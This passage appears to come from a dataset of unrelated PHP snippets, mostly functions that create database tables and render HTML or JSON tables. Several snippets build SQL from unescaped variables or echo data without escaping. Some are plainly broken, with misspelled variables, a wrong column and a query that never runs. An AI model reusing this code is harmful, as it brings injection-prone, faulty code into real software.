VARCHAR(255) UNIQUE NOT NULL,\n category_view_count INT DEFAULT 0,\n PRIMARY KEY (category_id)\n )';\n $stmt = $this->dbConnection->prepare($categoryTable);\n $stmt->execute();\n\n $playlistTable = 'CREATE TABLE IF NOT EXISTS playlists(\n playlist_id INT AUTO_INCREMENT,\n category_id INT,\n playlist_name VARCHAR(255) NOT NULL,\n playlist_description VARCHAR(255) DEFAULT \"\",\n playlist_view_count INT DEFAULT 0,\n created_at TIMESTAMP NOT NULL,\n PRIMARY KEY (playlist_id),\n FOREIGN KEY (category_id) REFERENCES categories (category_id) ON DELETE CASCADE\n )';\n $stmt = $this->dbConnection->prepare($playlistTable);\n $stmt->execute();\n\n $playlistLinkTable = 'CREATE TABLE IF NOT EXISTS playlistLink(\n link_id INT AUTO_INCREMENT,\n link VARCHAR(255) NOT NULL,\n title VARCHAR(255) NOT NULL,\n author_name VARCHAR(255) NOT NULL,\n author_url VARCHAR(255) NOT NULL,\n thumbnail_url VARCHAR(255) NOT NULL,\n playlist_id INT,\n PRIMARY KEY (link_id),\n FOREIGN KEY (playlist_id) REFERENCES playlists (playlist_id) ON DELETE CASCADE\n )';\n $stmt = $this->dbConnection->prepare($playlistLinkTable);\n $stmt->execute();\n\n }", "protected abstract function createTestTable();", "public function createTable()\n\t{\n\t\t$table = $this->getTableName();\n\t\t$indexes = $this->defineIndexes();\n\t\t$columns = array();\n\n\t\t// Add any Foreign Key columns\n\t\tforeach ($this->getBelongsToRelations() as $name => $config)\n\t\t{\n\t\t\t$required = !empty($config['required']);\n\t\t\t$columns[$config[2]] = array('column' => ColumnType::Int, 'required' => $required);\n\n\t\t\t// Add unique index for this column?\n\t\t\t// (foreign keys already get indexed, so we're only concerned with whether it should be unique)\n\t\t\tif (!empty($config['unique']))\n\t\t\t{\n\t\t\t\t$indexes[] = array('columns' => array($config[2]), 'unique' => true);\n\t\t\t}\n\t\t}\n\n\t\t// Add all other columns\n\t\tforeach ($this->defineAttributes() as $name => $config)\n\t\t{\n\t\t\t$config = ModelHelper::normalizeAttributeConfig($config);\n\n\t\t\t// Add (unique) index for this column?\n\t\t\t$indexed = !empty($config['indexed']);\n\t\t\t$unique = !empty($config['unique']);\n\n\t\t\tif ($unique || $indexed)\n\t\t\t{\n\t\t\t\t$indexes[] = array('columns' => array($name), 'unique' => $unique);\n\t\t\t}\n\n\t\t\t$columns[$name] = $config;\n\t\t}\n\n\t\t// Create the table\n\t\tblx()->db->createCommand()->createTable($table, $columns);\n\n\t\t// Create the indexes\n\t\tforeach ($indexes as $index)\n\t\t{\n\t\t\t$columns = ArrayHelper::stringToArray($index['columns']);\n\t\t\t$unique = !empty($index['unique']);\n\t\t\t$name = \"{$table}_\".implode('_', $columns).($unique ? '_unique' : '').'_idx';\n\t\t\tblx()->db->createCommand()->createIndex($name, $table, implode(',', $columns), $unique);\n\t\t}\n\t}", "function createTable( $tabela , $elemento=\"\", $dropTable=0){\n\t\t/*\n\t\tDROP TABLE IF EXISTS `ht_menu`;\n\t\tCREATE TABLE IF NOT EXISTS `ht_menu` (\n\t\t `id_menu` int(10) unsigned NOT NULL auto_increment,\n\t\t `empresa_id_empresa` int(10) unsigned NOT NULL,\n\t\t `menu` varchar(255) collate latin1_bin default NULL,\n\t\t `link` varchar(255) collate latin1_bin default NULL,\n\t\t PRIMARY KEY (`id_menu`),\n\t\t KEY `menu_FKIndex1` (`empresa_id_empresa`)\n\t\t) ENGINE=MyISAM DEFAULT CHARSET=latin1 COLLATE=latin1_bin\n\t\t*/\n\n\t\t$sql = \"\";\n\n\t\tif($dropTable){\n\t\t\t$sql .= \"DROP TABLE IF EXISTS '$tabela' \";\n\t\t}\n\n\t\t//cria a tabela e criar o index da tabela\n\t\t$sql .= \"CREATE TABLE IF NOT EXISTS '$tabela' { \"\n\t\t\t . \"'id_$tabela' int(10) unsigned NOT NULL auto_increment, \";\n\n\t\tif( is_array($elemento) ){\n\n\t\t\tforeach ($elemento as $key => $value){\n\t\t\t\tswitch ($value){\n\n\t\t\t\t\tcase strstr('varchar',$value):\n\t\t\t\t\t\t$sql .= \" '$key' varchar(255) collate latin1_bin default NULL ,\";\n\t\t\t\t\tbreak;\n\n\t\t\t\t\tcase strstr('int',$value):\n\t\t\t\t\t\t$sql .= \" '$key' int(10) collate latin1_bin default NULL ,\";\n\t\t\t\t\tbreak;\n\n\t\t\t\t\tcase strstr('timestamp',$value):\n\t\t\t\t\t\t$sql .= \" '$key' timestamp default NOW() ,\";\n\t\t\t\t\tbreak;\n\n\t\t\t\t\tdefault:\n\t\t\t\t\t\t$sql .= \" '$key' longtext collate latin1_bin default NULL ,\";\n\t\t\t\t\t}\n\n\t\t\t\t}\n\n\t\t\t$strCut = strlen($sql) -1;\n\t\t\t$sql = substr($sql,0,$strCut);\n\n\t\t}else{\n\n\t\t\t$sql .= \" $campos \";\n\n\t\t}\n\n\t\t$qr = mysql_query($sql) or die(mysql_error());\n\n\t}", "public function __construct() {\r $this->create_tbl_woo2app_slider();\r //-----------------end create table hami appost-----------------------------\r //-----------------begin create table hami appstatic------------------------\r $this->create_tbl_woo2app_setting();\r //-----------------end create table hami appstatic--------------------------\r //-----------------begin create table hami slider------------------------\r $this->create_tbl_woo2app_mainpage();\r //-----------------end create table hami slider--------------------------\r $this->create_tbl_woo2app_menu();\r $this->create_tbl_woo2app_nazar();\r }", "function getTablas() {\n $tablas['departamento']['id'] = 'departamento';\n $tablas['departamento']['nombre'] = 'Departamentos';\n\n $tablas['departamento_region']['id'] = 'departamento_region';\n $tablas['departamento_region']['nombre'] = 'Departamentos (Region)';\n\n $tablas['municipio']['id'] = 'municipio';\n $tablas['municipio']['nombre'] = 'Municipios';\n\n $tablas['operador']['id'] = 'operador';\n $tablas['operador']['nombre'] = 'Operador';\n\n $tablas['pais']['id'] = 'pais';\n $tablas['pais']['nombre'] = 'Paises';\n\n $tablas['ciudad']['id'] = 'ciudad';\n $tablas['ciudad']['nombre'] = 'Ciudades';\n\n $tablas['familias']['id'] = 'familias';\n $tablas['familias']['nombre'] = 'Familias';\n\n $tablas['monedas']['id'] = 'monedas';\n $tablas['monedas']['nombre'] = 'Monedas';\n\n $tablas['cuentas_financiero']['id'] = 'cuentas_financiero';\n $tablas['cuentas_financiero']['nombre'] = 'Cuentas';\n\n $tablas['cuentas_financiero_ut']['id'] = 'cuentas_financiero_ut';\n $tablas['cuentas_financiero_ut']['nombre'] = 'Cuentas UT';\n\n $tablas['cuentas_financiero_tipo']['id'] = 'cuentas_financiero_tipo';\n $tablas['cuentas_financiero_tipo']['nombre'] = 'Tipos de Cuentas';\n\n $tablas['extracto_movimiento']['id'] = 'extracto_movimiento';\n $tablas['extracto_movimiento']['nombre'] = 'Movimientos';\n\n $tablas['centropoblado']['id'] = 'centropoblado';\n $tablas['centropoblado']['nombre'] = 'Centros Poblados';\n\n $tablas['encuesta_tipo']['id'] = 'encuesta_tipo';\n $tablas['encuesta_tipo']['nombre'] = 'Tipo de Encuesta';\n\n $tablas['actividades_tipo']['id'] = 'actividades_tipo';\n $tablas['actividades_tipo']['nombre'] = 'Planes de Actividades';\n\n $tablas['tipohallazgo']['id'] = 'tipohallazgo';\n $tablas['tipohallazgo']['nombre'] = 'Tipo Hallazgo';\n\n asort($tablas);\n return $tablas;\n }", "protected function _initialize()\r\n {\r\n $this->metadata()->setTablename('comentarios');\r\n $this->metadata()->setPackage('system.application.models.dao');\r\n \r\n # nome_do_membro, nome_da_coluna, tipo, comprimento, opcoes\r\n \r\n $this->metadata()->addField('id', 'id', 'int', 11, array('primary' => true, 'notnull' => true, 'autoincrement' => true));\r\n $this->metadata()->addField('comentario', 'comentario', 'varchar', 45, array());\r\n $this->metadata()->addField('dataAvaliacao', 'data_avaliacao', 'datetime', null, array());\r\n $this->metadata()->addField('coordenadorId', 'coordenador_id', 'int', 11, array());\r\n $this->metadata()->addField('itemAvaliado', 'item_avaliado', 'varchar', 45, array());\r\n $this->metadata()->addField('avaliador', 'avaliador', 'varchar', 45, array());\r\n $this->metadata()->addField('tipoAvaliacao', 'tipo_avaliacao', 'varchar', 45, array());\r\n $this->metadata()->addField('subtipoAvaliacao', 'subtipo_avaliacao', 'varchar', 45, array());\r\n\r\n \r\n }", "private function createNewTable() {\n //generate the create table statement\n $sql = \"create table $this->tableName(\";\n $comma = \"\";\n $keyNameList = [];\n foreach ($this->columns as $column /* @var $column DbColumn */) {\n $sql .= \" $comma $column->columnName $column->dataType $column->extraStuff\";\n $comma = \",\";\n if ($column->primaryKey === true) {\n $keyNameList[] = $column->columnName;\n }\n }\n //generate the primary key list, if any are present\n $primaryKeySql = \"\";\n if (count($keyNameList) > 0) {\n $primaryKeySql = \"primary key(\";\n $comma = \"\";\n foreach ($keyNameList as $keyName) {\n $primaryKeySql = \"$primaryKeySql $comma $keyName\";\n $comma = \",\";\n }\n $primaryKeySql = \",$primaryKeySql)\";\n }\n\n //constraints\n $cSql = \"\";\n //we are assuming that there is at least one table. otherwise, the query would fail anyway.\n $comma = \",\";\n foreach ($this->constraints as $c) {\n $cSql .= \" $comma\";\n switch ($c->constraintType) {\n case \"foreign key\":\n $cSql .= \" FOREIGN KEY($c->columnName) REFERENCES $c->referencesTableName($c->referencesColumnName)\";\n break;\n }\n }\n $sql = \"$sql $primaryKeySql $cSql)\";\n return DbManager::nonQuery($sql);\n }", "private function tbl_usuarios() {\r\n\t\t\t$this->usuarios = $this->esquema->createTable('USUARIOS');\r\n\t\t\t$this->usuarios->addColumn('ID', 'bigint', array(\r\n\t\t\t\t'notnull' => true,\r\n\t\t\t\t'autoincrement' => true, \r\n\t\t\t\t'length' => 20,\r\n\t\t\t\t'comment' => 'ID del Usuario'\r\n\t\t\t));\r\n\t\t\t$this->usuarios->addColumn('USUARIO', 'string', array(\r\n\t\t\t\t'notnull' => true, \r\n\t\t\t\t'length' => 255,\r\n\t\t\t\t'comment' => 'Usuario de Ingreso'\r\n\t\t\t));\r\n\t\t\t$this->usuarios->addColumn('PASSWORD', 'string', array(\r\n\t\t\t\t'notnull' => true, \r\n\t\t\t\t'length' => 255,\r\n\t\t\t\t'comment' => 'Contraseña de Ingreso'\r\n\t\t\t));\r\n\t\t\t$this->usuarios->addColumn('NOMBRE', 'string', array(\r\n\t\t\t\t'notnull' => true, \r\n\t\t\t\t'length' => 255,\r\n\t\t\t\t'comment' => 'Nombres del Usuario'\r\n\t\t\t));\r\n\t\t\t$this->usuarios->addColumn('APELLIDO', 'string', array(\r\n\t\t\t\t'notnull' => true, \r\n\t\t\t\t'length' => 255,\r\n\t\t\t\t'comment' => 'Apellidos del Usuario'\r\n\t\t\t));\r\n\t\t\t$this->usuarios->addColumn('CEDULA', 'bigint', array(\r\n\t\t\t\t'notnull' => true, \r\n\t\t\t\t'length' => 20,\r\n\t\t\t\t'comment' => 'Cedula del Usuario'\r\n\t\t\t));\r\n\t\t\t$this->usuarios->addColumn('USUARIO_RR', 'string', array(\r\n\t\t\t\t'notnull' => true, \r\n\t\t\t\t'length' => 255,\r\n\t\t\t\t'comment' => 'Usuario de RR'\r\n\t\t\t));\r\n\t\t\t$this->usuarios->addColumn('CORREO', 'string', array(\r\n\t\t\t\t'notnull' => true, \r\n\t\t\t\t'length' => 255,\r\n\t\t\t\t'comment' => 'Correo electronico del Usuario'\r\n\t\t\t));\r\n\t\t\t$this->usuarios->addColumn('ESTADO', 'bigint', array(\r\n\t\t\t\t'notnull' => true, \r\n\t\t\t\t'length' => 20,\r\n\t\t\t\t'comment' => 'ID del Estado del Usuario [ID de la tabla ESTADOS]'\r\n\t\t\t));\r\n\t\t\t$this->usuarios->addColumn('EMPRESA', 'bigint', array(\r\n\t\t\t\t'notnull' => true, \r\n\t\t\t\t'length' => 20,\r\n\t\t\t\t'comment' => 'ID de la Empresa del Usuario [ID de la tabla USUARIOS_EMPRESA]'\r\n\t\t\t));\r\n\t\t\t$this->usuarios->addColumn('CARGO', 'bigint', array(\r\n\t\t\t\t'notnull' => true, \r\n\t\t\t\t'length' => 20,\r\n\t\t\t\t'comment' => 'ID del Cargo del Usuario [ID de la tabla USUARIOS_CARGO]'\r\n\t\t\t));\r\n\t\t\t$this->usuarios->addColumn('PERMISO', 'bigint', array(\r\n\t\t\t\t'notnull' => true, \r\n\t\t\t\t'length' => 20,\r\n\t\t\t\t'comment' => 'ID del Permiso del Usuario [ID de la tabla PERMISOS]'\r\n\t\t\t));\r\n\t\t\t\r\n\t\t\t$this->usuarios->setPrimaryKey(array('ID'));\r\n\t\t\t$this->usuarios->addForeignKeyConstraint($this->estados, array('ESTADO'), array('ID'), $this->opcForeign);\r\n\t\t\t$this->usuarios->addForeignKeyConstraint($this->usuarios_empresa, array('EMPRESA'), array('ID'), $this->opcForeign);\r\n\t\t\t$this->usuarios->addForeignKeyConstraint($this->usuarios_cargo, array('CARGO'), array('ID'), $this->opcForeign);\r\n\t\t\t$this->usuarios->addForeignKeyConstraint($this->permisos, array('PERMISO'), array('ID'), $this->opcForeign);\r\n\t\t}", "function glv_create_tables(){\r\n global $wpdb;\r\n \r\n //el nombre de la tabla, utilizamos el prefijo de wordpress\r\n $table_forms = $wpdb->prefix.'glv_forms'; \r\n\r\n //sql con el statement de la tabla \r\n $glv_form = \"CREATE TABLE \".$table_forms.\"(\r\n for_id int(11) NOT NULL AUTO_INCREMENT,\r\n for_name varchar(100) DEFAULT NULL,\r\n for_value text DEFAULT NULL,\r\n for_date date,\r\n UNIQUE KEY for_id (for_id)\r\n )\";\r\n\r\n //upgrade contiene la función dbDelta la cuál revisará si existe la tabla o no\r\n require_once( ABSPATH . 'wp-admin/includes/upgrade.php' );\r\n \r\n //creamos la tabla\r\n dbDelta($glv_form);\r\n }", "static function createTableMedallasParticipante()\n\t{\n\t\tglobal $wpdb;\n\t\t$wpdb->query(\n\t\t\t\"CREATE TABLE IF NOT EXISTS {$wpdb->prefix}lista_medallas_participantes (\n\t\t\t\tid BIGINT(20) UNSIGNED NOT NULL AUTO_INCREMENT,\n\t\t\t\tparticipante_id BIGINT(20) NOT NULL,\n\t\t\t\tnumero_de_medallas BIGINT(20) NOT NULL,\n\t\t\t\tfecha_ultima_actualizacion datetime NOT NULL DEFAULT '0000-00-00 00:00:00',\n\t\t\t\tPRIMARY KEY (id),\n\t\t\t\tKEY participante_id (participante_id)\n\t\t\t) ENGINE=InnoDB AUTO_INCREMENT=1 CHARSET=utf8;\"\n\t\t);\n\t}", "private function _createTable() {\n $query = \"\n CREATE TABLE `seo_metadata` (\n `metadata_id` int(11) NOT NULL auto_increment,\n `seo_id` char(60) NOT NULL,\n `seo_title` varchar(255) NOT NULL,\n `seo_description` varchar(255) NOT NULL,\n `seo_keyword` varchar(255) NOT NULL,\n PRIMARY KEY (`metadata_id`),\n KEY `id_idx` (`id`)\n )\";\n $this->getAdapter()->query( $query );\n }", "protected function fillTable()\n {\n $names = [\n 'Anna', 'Betty', 'Clara', 'Donna', 'Fiona',\n 'Gertrude', 'Hanna', 'Ione', 'Julia', 'Kara',\n ];\n\n $stm = \"INSERT INTO {$this->table} (name) VALUES (:name)\";\n foreach ($names as $name) {\n $this->connection->perform($stm, ['name' => $name]);\n }\n }", "public function mostrarTablaAsegurados() {\n\n\t\t$item = null;\n\t\t$valor = null;\n\n\t\t$asegurados = ControladorAsegurados::ctrMostrarAsegurados($item, $valor);\n\n\t\tif ($asegurados == null) {\n\t\t\t\n\t\t\t$datosJson = '{\n\t\t\t\t\"data\": []\n\t\t\t}';\n\n\t\t} else {\n\n\t\t\t$datosJson = '{\n\t\t\t\"data\": [';\n\n\t\t\tfor ($i = 0; $i < count($asegurados); $i++) { \n\n\t\t\t\t/*=============================================\n\t\t\t\tTRAEMOS LA EMPRESA\n\t\t\t\t=============================================*/\n\n\t\t\t\t$itemEmpleador = \"id\";\n\t\t\t\t$valorEmpleador = $asegurados[$i][\"id_empleador\"];\n\n\t\t\t\t$Empleadores = ControladorEmpleadores::ctrMostrarEmpleadores($itemEmpleadore, $valorEmpresa);\n\n\t\t\t\t/*=============================================\n\t\t\t\tTRAEMOS EL TIPO DE SEGURO\n\t\t\t\t=============================================*/\n\n\t\t\t\t$itemSeguro = \"id\";\n\t\t\t\t$valorSeguro = $asegurados[$i][\"id_seguro\"];\n\n\t\t\t\t$seguros = ControladorSeguros::ctrMostrarSeguros($itemSeguro, $valorSeguro);\n\n\t\t\t\t/*=============================================\n\t\t\t\tTRAEMOS LAS LOCALIDADES\n\t\t\t\t=============================================*/\n\n\t\t\t\t$itemLocalidad = \"id\";\n\t\t\t\t$valorLocalidad = $asegurados[$i][\"id_localidad\"];\n\n\t\t\t\t$localidades = ControladorLocalidades::ctrMostrarLocalidades($itemLocalidad, $valorLocalidad);\t\n\n\t\t\t\t/*=============================================\n\t\t\t\tTRAEMOS LAS OCUPACIONES\n\t\t\t\t=============================================*/\n\n\t\t\t\t$itemOcupacion = \"id\";\n\t\t\t\t$valorOcupacion = $asegurados[$i][\"id_ocupacion\"];\n\n\t\t\t\t$ocupaciones = ControladorOcupaciones::ctrMostrarOcupaciones($itemOcupacion, $valorOcupacion);\t\t\t\t\n\n\t\t\t\t/*=============================================\n\t\t\t\tTRAEMOS LAS ACCIONES\n\t\t\t\t=============================================*/\n\n\t\t\t\t$botones1 = \"<div class='btn-group'><button class='btn btn-info btnAgregarBeneficiario' idAsegurado='\".$asegurados[$i][\"id\"].\"' data-toggle='tooltip' title='Agregar Beneficiario'><i class='fas fa-check'></i></button></div>\";\n\n\t\t\t\t$botones2 = \"<div class='btn-group'><button class='btn btn-warning btnEditarEmpleador' idAsegurado='\".$asegurados[$i][\"id\"].\"' data-toggle='tooltip' title='Editar'><i class='fas fa-pencil-alt'></i></button><button class='btn btn-danger btnEliminarAsegurado' idAsegurado='\".$asegurados[$i][\"id\"].\"' data-toggle='tooltip' title='Eliminar'><i class='fas fa-times'></i></button></div>\";\n\n\t\t\t\t$datosJson .='[\n\t\t\t\t\t\"'.$botones1.'\",\t\n\t\t\t\t\t\"'.$empleadores[\"razon_social\"].'\",\t\t\t\n\t\t\t\t\t\"'.$seguros[\"tipo_seguro\"].'\",\t\n\t\t\t\t\t\"'.$asegurados[$i][\"matricula\"].'\",\n\t\t\t\t\t\"'.$asegurados[$i][\"documento_ci\"].'\",\n\t\t\t\t\t\"'.$asegurados[$i][\"paterno\"].' '.$asegurados[$i][\"materno\"].' '.$asegurados[$i][\"nombre\"].'\",\n\t\t\t\t\t\"'.$asegurados[$i][\"sexo\"].'\",\n\t\t\t\t\t\"'.$asegurados[$i][\"fecha_nacimiento\"].'\",\n\t\t\t\t\t\"'.$Localidades[\"nombre_localidad\"].'\",\n\t\t\t\t\t\"'.$asegurados[$i][\"zona\"].'\",\n\t\t\t\t\t\"'.$asegurados[$i][\"calle\"].' '.$asegurados[$i][\"nro_calle\"].'\",\n\t\t\t\t\t\"'.$asegurados[$i][\"salario\"].'\",\n\t\t\t\t\t\"'.$ocupaciones[\"nombre_ocupacion\"].'\",\n\t\t\t\t\t\"'.$asegurados[$i][\"fecha_ingreso\"].'\",\n\t\t\t\t\t\"'.$asegurados[$i][\"estado\"].'\",\n\t\t\t\t\t\"'.$botones2.'\"\n\t\t\t\t],';\n\t\t\t}\n\n\t\t\t$datosJson = substr($datosJson, 0, -1);\n\n\t\t\t$datosJson .= ']\n\t\t\t}';\t\n\n\t\t}\n\n\t\techo $datosJson;\n\t\n\t}", "protected function startTable() {}", "private static function create_tables() {\n\t\t// phpcs:ignore PHPCompatibility.Extensions.RemovedExtensions.sqliteRemoved -- False positive.\n\t\tself::$dbo = new \\SQLite3( WP_CLI_SNAPSHOT_DB );\n\n\t\t// Create snapshots table.\n\t\t$snapshots_table_query = 'CREATE TABLE IF NOT EXISTS snapshots (\n\t\t\tid INTEGER,\n\t\t\tname VARCHAR,\n\t\t\tcreated_at DATETIME,\n\t\t\tbackup_type INTEGER DEFAULT 0,\n\t\t\tbackup_zip_size VARCHAR,\n\t\t\tPRIMARY KEY (id)\n\t\t);';\n\t\tself::$dbo->exec( $snapshots_table_query );\n\n\t\t// Create snapshot_extra_info table.\n\t\t$extra_info_table_query = 'CREATE TABLE IF NOT EXISTS snapshot_extra_info (\n\t\t\tid INTEGER,\n\t\t\tinfo_key VARCHAR,\n\t\t\tinfo_value VARCHAR,\n\t\t\tsnapshot_id INTEGER,\n\t\t\tPRIMARY KEY (id)\n\t\t);';\n\t\tself::$dbo->exec( $extra_info_table_query );\n\n\t\t// Create storage_credentials table.\n\t\t$storage_credentials_table_query = 'CREATE TABLE IF NOT EXISTS snapshot_storage_credentials (\n\t\t\tid INTEGER,\n\t\t\tstorage_service VARCHAR,\n\t\t\tinfo_key VARCHAR,\n\t\t\tinfo_value VARCHAR,\n\t\t\tPRIMARY KEY (id)\n\t\t);';\n\t\tself::$dbo->exec( $storage_credentials_table_query );\n\n\t}", "private function tbl_usuarios_empresa() {\r\n\t\t\t$this->usuarios_empresa = $this->esquema->createTable('USUARIOS_EMPRESA');\r\n\t\t\t$this->usuarios_empresa->addColumn('ID', 'bigint', array(\r\n\t\t\t\t'notnull' => true,\r\n\t\t\t\t'autoincrement' => true, \r\n\t\t\t\t'length' => 20,\r\n\t\t\t\t'comment' => 'ID de la Empresa'\r\n\t\t\t));\r\n\t\t\t$this->usuarios_empresa->addColumn('NOMBRE', 'string', array(\r\n\t\t\t\t'notnull' => true, \r\n\t\t\t\t'length' => 255,\r\n\t\t\t\t'comment' => 'Nombre de la Empresa'\r\n\t\t\t));\r\n\t\t\t$this->usuarios_empresa->addColumn('ESTADO', 'bigint', array(\r\n\t\t\t\t'notnull' => true,\r\n\t\t\t\t'length' => 20,\r\n\t\t\t\t'comment' => 'Estado de la Empresa [ID de la tabla ESTADOS]'\r\n\t\t\t));\r\n\t\t\t$this->usuarios_empresa->setPrimaryKey(array('ID'));\r\n\t\t\t$this->usuarios_empresa->addForeignKeyConstraint($this->estados, array('ESTADO'), array('ID'), $this->opcForeign);\r\n\t\t}", "function create_table($table_name, $field_name, $field_type, $field_length){\n // $sql_chk = db::query(\"SELECT COUNT(*) AS TOTAL FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_TYPE = 'BASE TABLE' AND TABLE_CATALOG='\".strtoupper(db::$_dbName).\"' AND TABLE_NAME = '\".$table_name.\"'\");\n // $rec_chk = db::fetch_array($sql_chk);\n // if($rec_chk['TOTAL'] > 0)\n // {\n // echo \"<script>alert('ตาราง \".$table_name.\" ถูกใช้งานแล้ว กรุณาตรวจสอบ'); window.location.href='\".$_SERVER['HTTP_REFERER'].\"';</script>\";\n // db::db_close();\n // exit;\n // }\n\n $field_length = $field_length == \"\" ? \"\" : \"(\".$field_length.\")\";\n\n $sql_create = \" CREATE TABLE [dbo].[\".$table_name.\"]([\".$field_name.\"] \".$field_type.\" \".$field_length.\" NOT NULL, PRIMARY KEY ([\".$field_name.\"]))\";\n\n }", "function crear_tabla()\n {\n //Array para saber cuantos dias tienen los meses\n $meses = array(\"31\", \"28\", \"31\", \"30\", \"31\", \"30\", \"31\", \"31\", \"30\", \"31\", \"30\", \"31\");\n $cambio_mes = 0;\n //Recogemos los datos\n $num1 = filter_input(INPUT_POST, 'num1');\n $profe = filter_input(INPUT_POST, 'profe');\n $zona = filter_input(INPUT_POST, 'zona');\n $mes = filter_input(INPUT_POST, 'mes');\n $año = filter_input(INPUT_POST, 'año');\n\n //Recogemos los horarios del profesor y la zona seleccionados\n $h_profe=$this->model->get_h_profe($profe, $zona);\n $numeros[5]=\"\";\n $numeros[0]=$num1;\n //Sacamos los cinco numeros de la semana\n for($i=0;$i<5;$i++)\n {\n $numeros[$i+1] = $numeros[$i]+1;\n //si el numero es superior al dia maximo del mes entonces le restamos el dia maximo y reseteamos los dias\n if( $numeros[$i+1] > $meses[$mes-1])\n {\n $numeros[$i+1] = $numeros[$i+1] - $meses[$mes-1];\n //marcamos que cambiamos de mes\n $cambio_mes = 1;\n }\n\n }\n $total = \"\";\n //bucle para crear los tr de las horas\n for($i=8;$i<21;$i++)\n {\n //Quitamos las horas de comer\n if($i!=14 && $i!=15)\n {\n //generamos el primer td con la hora\n $total.=\"<tr><td>\".$i.\":00-\".($i+1).\":00</td>\";\n //bucle para sacar el resto de td\n for($k=0;$k<5;$k++)\n {\n $total .= \"<td class='$numeros[$k]-$i dia_$k'>\";\n //foreach de horarios para comprobar si coincide con la fecha y tenemos que printar un boton\n foreach ($h_profe as $hora)\n {\n //creamos otra variable de mes para no modificar la global\n $mes_1 = $mes;\n //Preguntas para saber si hay que modificar el mes, ya sea sumar o cambiar a 1\n if($cambio_mes == 1 && $mes_1 < 12 && $numeros[$k]<5)\n {\n $mes_1 = $mes_1+1;\n }\n else if( $cambio_mes == 1 && $mes_1 == 12 && $numeros[$k]<5)\n {\n $mes_1 = 1;\n $año = $año+1;\n }\n //Añadimos un zero a la izquierda si es inferior a 10\n $mes_1 = str_pad($mes_1, 2, \"0\", STR_PAD_LEFT);\n $dia = str_pad($numeros[$k], 2, \"0\", STR_PAD_LEFT);\n //Montamos la fecha\n $fecha = $año.\"-\".$mes_1.\"-\".$dia ;\n\n //Preguntamos si la hora del tr es la misma que la del horario y lo mismo con la fecha\n if($hora['hora']== $i && $hora['fecha'] == $fecha)\n {\n //Si coincide creamos el boton\n $total.= \"<button class='practica hvr-grow-shadow'>Marcar</button>\";\n }\n }\n //Le metemos un span oculto con los datos de dia y hora.\n $total .=\"<span style='display:none'>\".$numeros[$k].\" \".$i.\":00</span></td>\";\n\n }\n $total.=\"</tr>\";\n }\n }\n //Enviamos la tabla\n echo $total;\n }", "private function tbl_guiones_registro() {\r\n\t\t\t$this->guiones_registro = $this->esquema->createTable('GUIONES_REGISTRO');\r\n\t\t\t$this->guiones_registro->addColumn('ID', 'bigint', array(\r\n\t\t\t\t'notnull' => true,\r\n\t\t\t\t'autoincrement' => true, \r\n\t\t\t\t'length' => 20,\r\n\t\t\t\t'comment' => 'ID del registro del guion'\r\n\t\t\t));\r\n\t\t\t$this->guiones_registro->addColumn('FECHA', 'datetime', array(\r\n\t\t\t\t'notnull' => false,\r\n\t\t\t\t'comment' => 'Fecha de ingreso del registro'\r\n\t\t\t));\r\n\t\t\t$this->guiones_registro->addColumn('USUARIO', 'bigint', array(\r\n\t\t\t\t'notnull' => true, \r\n\t\t\t\t'length' => 20,\r\n\t\t\t\t'comment' => 'ID del usuario del registro [ID de la tabla USUARIOS]'\r\n\t\t\t));\r\n\t\t\t$this->guiones_registro->addColumn('TIPO', 'bigint', array(\r\n\t\t\t\t'notnull' => true, \r\n\t\t\t\t'length' => 20,\r\n\t\t\t\t'comment' => 'ID del tipo de registro [ID de la tabla GUIONES_REGISTRO_TIPO]'\r\n\t\t\t));\r\n\t\t\t$this->guiones_registro->addColumn('AFECTACION', 'bigint', array(\r\n\t\t\t\t'notnull' => true, \r\n\t\t\t\t'length' => 20,\r\n\t\t\t\t'comment' => 'ID de la afectacion del registro [ID de la tabla GUIONES_REGISTRO_AFECTACION]'\r\n\t\t\t));\r\n\t\t\t$this->guiones_registro->addColumn('AVISO', 'bigint', array(\r\n\t\t\t\t'notnull' => false,\r\n\t\t\t\t'default' => 0,\r\n\t\t\t\t'length' => 20,\r\n\t\t\t\t'comment' => 'Numero del aviso del registro'\r\n\t\t\t));\r\n\t\t\t$this->guiones_registro->addColumn('UBICACION', 'bigint', array(\r\n\t\t\t\t'notnull' => true, \r\n\t\t\t\t'length' => 20,\r\n\t\t\t\t'comment' => 'ID de la UBICACION del registro [ID de la tabla GUIONES_REGISTRO_UBICACION]'\r\n\t\t\t));\r\n\t\t\t$this->guiones_registro->setPrimaryKey(array('ID'));\r\n\t\t\t$this->guiones_registro->addForeignKeyConstraint($this->usuarios, array('USUARIO'), array('ID'), $this->opcForeign);\r\n\t\t\t$this->guiones_registro->addForeignKeyConstraint($this->guiones_registro_tipo, array('TIPO'), array('ID'), $this->opcForeign);\r\n\t\t\t$this->guiones_registro->addForeignKeyConstraint($this->guiones_registro_afectacion, array('AFECTACION'), array('ID'), $this->opcForeign);\r\n\t\t\t$this->guiones_registro->addForeignKeyConstraint($this->guiones_registro_ubicacion, array('UBICACION'), array('ID'), $this->opcForeign);\r\n\t\t}", "function crear_tabla_horario()\n {\n //El funcionamiento es el mismo que en crear_tabla, excepto que aqui no le pasamos el profesor\n $meses = array(\"31\", \"28\", \"31\", \"30\", \"31\", \"30\", \"31\", \"31\", \"30\", \"31\", \"30\", \"31\");\n $cambio_mes = 0;\n\n $num1 = filter_input(INPUT_POST, 'num1');\n\n $profe=$this->model->get_profe($_SESSION['iduser']);\n $zona = filter_input(INPUT_POST, 'zona');\n $mes = filter_input(INPUT_POST, 'mes');\n $año = filter_input(INPUT_POST, 'año');\n\n $mes = str_pad($mes, 2, \"0\", STR_PAD_LEFT);\n $h_profe=$this->model->get_h_profe($profe[0]['id_profesores'], $zona);\n $numeros[5]=\"\";\n $numeros[0]=$num1;\n for($i=0;$i<5;$i++)\n {\n\n $numeros[$i+1] = $numeros[$i]+1;\n\n if( $numeros[$i+1] > $meses[$mes-1])\n {\n $numeros[$i+1] = $numeros[$i+1] - $meses[$mes-1];\n $cambio_mes = 1;\n }\n\n }\n $total = \"\";\n for($i=8;$i<21;$i++)\n {\n if($i!=14 && $i!=15)\n {\n\n $total.=\"<tr><td>\".$i.\":00-\".($i+1).\":00</td>\";\n for($k=0;$k<5;$k++)\n {\n $total .= \"<td class='$numeros[$k]-$i dia_$k'>\";\n $ano=str_pad($numeros[$k],2,\"0\",STR_PAD_LEFT);\n //Si el horario del profe esta vacio printamos boton en todos los td\n if(!empty($h_profe))\n {\n $cont = 0;\n foreach ($h_profe as $hora)\n {\n $mes_1 = $mes;\n 